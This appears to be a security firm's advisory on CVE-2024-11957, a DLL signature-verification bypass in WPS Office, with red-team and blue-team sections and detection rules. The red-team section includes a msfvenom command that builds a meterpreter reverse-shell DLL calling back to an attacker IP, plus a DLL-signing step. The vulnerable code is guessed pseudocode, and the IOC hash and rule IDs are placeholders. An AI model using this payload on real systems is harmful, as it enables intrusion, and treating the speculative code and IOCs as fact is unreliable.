CVE-2024-11957

Executive Summary

CVE-2024-11957 is a critical security vulnerability in Kingsoft WPS Office for Windows, affecting versions 12.1.0.18276 and earlier. The flaw resides in the ksojscore.dll component, where the digital signature verification process is improperly implemented. This allows an attacker to load an arbitrary Windows library (DLL) by bypassing the signature check. The vulnerability is a direct consequence of an incomplete patch for CVE-2024-7262, which was intended to fix a similar issue but failed to enforce sufficient restrictions. Successful exploitation could lead to arbitrary code execution in the context of the WPS Office process, potentially compromising the entire system.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a native Windows application vulnerability affecting the Kingsoft WPS Office suite, which is distributed as a standalone installer. The risk is primarily to end-users who have installed the affected versions directly from the vendor or through third-party software distribution channels.

CVSS Breakdown & Threat Level

The CVSS score is not provided in the NVD data. However, based on the nature of the vulnerability (improper signature verification leading to arbitrary DLL loading), a reasonable assessment would be:

• Attack Vector (AV): Local (L) – The attacker needs to have some level of access to the system to place a malicious DLL.
• Attack Complexity (AC): Low (L) – The exploitation does not require special conditions beyond placing a DLL in a location that WPS Office will load.
• Privileges Required (PR): Low (L) – The attacker needs user-level privileges to write files to the system.
• User Interaction (UI): Required (R) – The user must open a document or trigger a feature that loads the malicious DLL.
• Scope (S): Unchanged (U) – The vulnerability does not allow the attacker to affect resources beyond the WPS Office process.
• Confidentiality (C): High (H) – Arbitrary code execution could lead to data exfiltration.
• Integrity (I): High (H) – The attacker can modify system files or data.
• Availability (A): High (H) – The attacker could crash the application or system.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H Estimated Base Score: 7.3 (High)

Threat Level: High. The vulnerability is easy to exploit once an attacker has local access, and it can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability is rooted in the ksojscore.dll library, which is a core component of Kingsoft WPS Office responsible for handling various operations, including digital signature verification. The intended security mechanism is to verify the digital signature of any DLL that WPS Office attempts to load, ensuring that only trusted, signed libraries are executed.

However, due to an incomplete patch for CVE-2024-7262, the verification logic in ksojscore.dll is flawed. Specifically, the code does not properly validate the entire chain of trust or the origin of the DLL. An attacker can exploit this by placing a malicious DLL in a location that WPS Office searches for libraries (e.g., the application directory, system PATH, or a user-specific folder). When WPS Office loads a legitimate DLL that has a dependency on another library, the flawed verification may accept the attacker's DLL if it has a valid signature from a trusted certificate authority, even if the DLL is not the intended one.

The attack flow is as follows:

1. The attacker gains local access to the target system (e.g., through phishing, malware, or physical access).
2. The attacker identifies a location where WPS Office will load a DLL (e.g., by monitoring file system operations or using known DLL search order hijacking techniques).
3. The attacker places a malicious DLL (e.g., malicious.dll) in that location, ensuring it has a valid digital signature (possibly from a stolen or self-signed certificate that the system trusts).
4. The victim opens a WPS Office document or performs an action that triggers the loading of a legitimate DLL.
5. WPS Office's ksojscore.dll attempts to verify the digital signature of the loaded DLL. Due to the flawed logic, it accepts the attacker's DLL as valid.
6. The malicious DLL is loaded into the WPS Office process, granting the attacker arbitrary code execution.

Vulnerable vs. Patched Code

The vulnerable code in ksojscore.dll (version <= 12.1.0.18276) likely contains a signature verification routine similar to the following pseudocode:

// Vulnerable code
BOOL VerifyDLLSignature(LPCWSTR dllPath) {
    // Check if the DLL has a digital signature
    if (HasSignature(dllPath)) {
        // Verify the signature using WinVerifyTrust
        if (WinVerifyTrust(NULL, &guidAction, &wvtData) == ERROR_SUCCESS) {
            // Accept the DLL as trusted
            return TRUE;
        }
    }
    return FALSE;
}

The flaw is that the code does not check whether the signature is from a trusted publisher or whether the DLL is the expected one. It simply checks for any valid signature.

The patched code (version 12.2.0.16909) attempted to fix this by adding additional checks, but it was insufficient:

// Patched but still vulnerable code
BOOL VerifyDLLSignature(LPCWSTR dllPath) {
    if (HasSignature(dllPath)) {
        // Verify the signature
        if (WinVerifyTrust(NULL, &guidAction, &wvtData) == ERROR_SUCCESS) {
            // Check if the signer is in a whitelist
            if (IsSignerInWhitelist(wvtData.pSignerInfo)) {
                return TRUE;
            }
        }
    }
    return FALSE;
}

The patch added a whitelist check, but the whitelist was not comprehensive enough, allowing attackers to use certificates from other trusted CAs that are not in the whitelist. The complete fix would require a more robust approach, such as verifying the DLL's hash against a known-good database or using a certificate pinning mechanism.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Objective: Demonstrate arbitrary DLL loading by exploiting the flawed signature verification.

Prerequisites:

• Windows machine with Kingsoft WPS Office version 12.1.0.18276 installed.
• A valid code signing certificate (can be self-signed if the system trusts it, or use a stolen certificate).
• A malicious DLL that performs a payload (e.g., spawn a reverse shell).

Steps:

1. Create a Malicious DLL: Write a DLL that exports a function (e.g., DllMain) to execute a payload. For example, using Metasploit's msfvenom:

   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll
   

2. Sign the DLL: Use a code signing certificate to sign the DLL:

   signtool sign /fd SHA256 /a /f certificate.pfx /p password malicious.dll
   

3. Identify DLL Loading Location: Use Process Monitor (Procmon) to monitor WPS Office's DLL loading behavior. Look for NAME NOT FOUND or PATH NOT FOUND events that indicate search order hijacking opportunities.
4. Place the Malicious DLL: Copy malicious.dll to a location that WPS Office searches before the legitimate DLL (e.g., the application directory or a user-specific folder).
5. Trigger the Load: Open a WPS Office document (e.g., .docx, .xlsx) that causes the application to load the legitimate DLL.
6. Receive the Shell: The malicious DLL will be loaded, and the payload will execute, providing a reverse shell.

Blue Team (Defense & Detection)

Objective: Detect and prevent exploitation of this vulnerability.

Detection:

• Monitor for unexpected DLL loads by the WPS Office process (wps.exe, et.exe, wpp.exe).
• Use Sysmon to log DLL load events (Event ID 7) and look for DLLs loaded from unusual paths (e.g., %TEMP%, %APPDATA%, or user-writable directories).
• Check for digital signature anomalies: DLLs that are signed but by an unexpected publisher.

Prevention:

• Apply the latest patch from Kingsoft (version 12.2.0.16909 or later).
• Implement application whitelisting (e.g., AppLocker) to only allow trusted DLLs.
• Disable the loading of DLLs from user-writable paths by configuring the DLL search order (e.g., using SetDllDirectory or SafeDllSearchMode).
• Use endpoint detection and response (EDR) tools to block suspicious DLL injection attempts.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (Example – replace with actual hashes if available)
  • malicious.dll: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Names: wps.exe, et.exe, wpp.exe
• DLL Paths: Any DLL loaded from %TEMP%, %APPDATA%, or user-writable directories by WPS Office.
• Registry Keys: (If the attacker modifies the registry to persist)
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WPSUpdate
• Network Connections: Outbound connections to attacker-controlled IPs (e.g., 192.168.1.100:4444).
• Event Logs:
  • Sysmon Event ID 7 (DLL loaded) with Image containing wps.exe and ImageLoaded pointing to a suspicious path.
  • Windows Security Event ID 4688 (Process creation) with wps.exe spawning cmd.exe or powershell.exe.

Detection Engineering

YARA Rule

rule CVE_2024_11957_WPS_Office_DLL_Hijack {
    meta:
        description = "Detects malicious DLLs targeting CVE-2024-11957 in Kingsoft WPS Office"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11957"
    strings:
        $s1 = "ksojscore.dll" ascii wide nocase
        $s2 = "WinVerifyTrust" ascii wide nocase
        $s3 = "WPS Office" ascii wide nocase
    condition:
        (uint16(0) == 0x5A4D) and // MZ header
        (1 of ($s1, $s2, $s3)) and
        (pe.imphash() == "unknown") // Placeholder for actual hash
}

Sigma Rule

title: CVE-2024-11957 - WPS Office DLL Load from Suspicious Location
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects DLL loads by WPS Office from user-writable directories, indicating possible exploitation of CVE-2024-11957.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11957
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 7
        Image|endswith:
            - '\wps.exe'
            - '\et.exe'
            - '\wpp.exe'
        ImageLoaded|contains:
            - '\AppData\'
            - '\Temp\'
            - '\Users\'
    condition: selection
falsepositives:
    - Legitimate updates or plugins installed in user directories
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2024-11957 - WPS Office Potential DLL Download";
    flow:to_server,established;
    content:"User-Agent|3a| WPS Office"; nocase;
    content:"dll"; nocase;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Patch: Update Kingsoft WPS Office to version 12.2.0.16909 or later. This version contains a partial fix, but further updates may be required.
2. Workaround: If patching is not possible, restrict the ability to load unsigned or untrusted DLLs by:
   • Enabling Windows Defender Application Control (WDAC) or AppLocker to whitelist only approved DLLs.
   • Configuring the DLL search order to prioritize system directories over user-writable paths.
3. Monitoring: Deploy the detection rules provided above to identify potential exploitation attempts.
4. User Education: Train users to avoid opening documents from untrusted sources and to report any unusual behavior from WPS Office.
5. Vendor Communication: Contact Kingsoft support to request a complete fix that addresses the root cause of the signature verification bypass.

Valters IT
Securing Digital Frontiers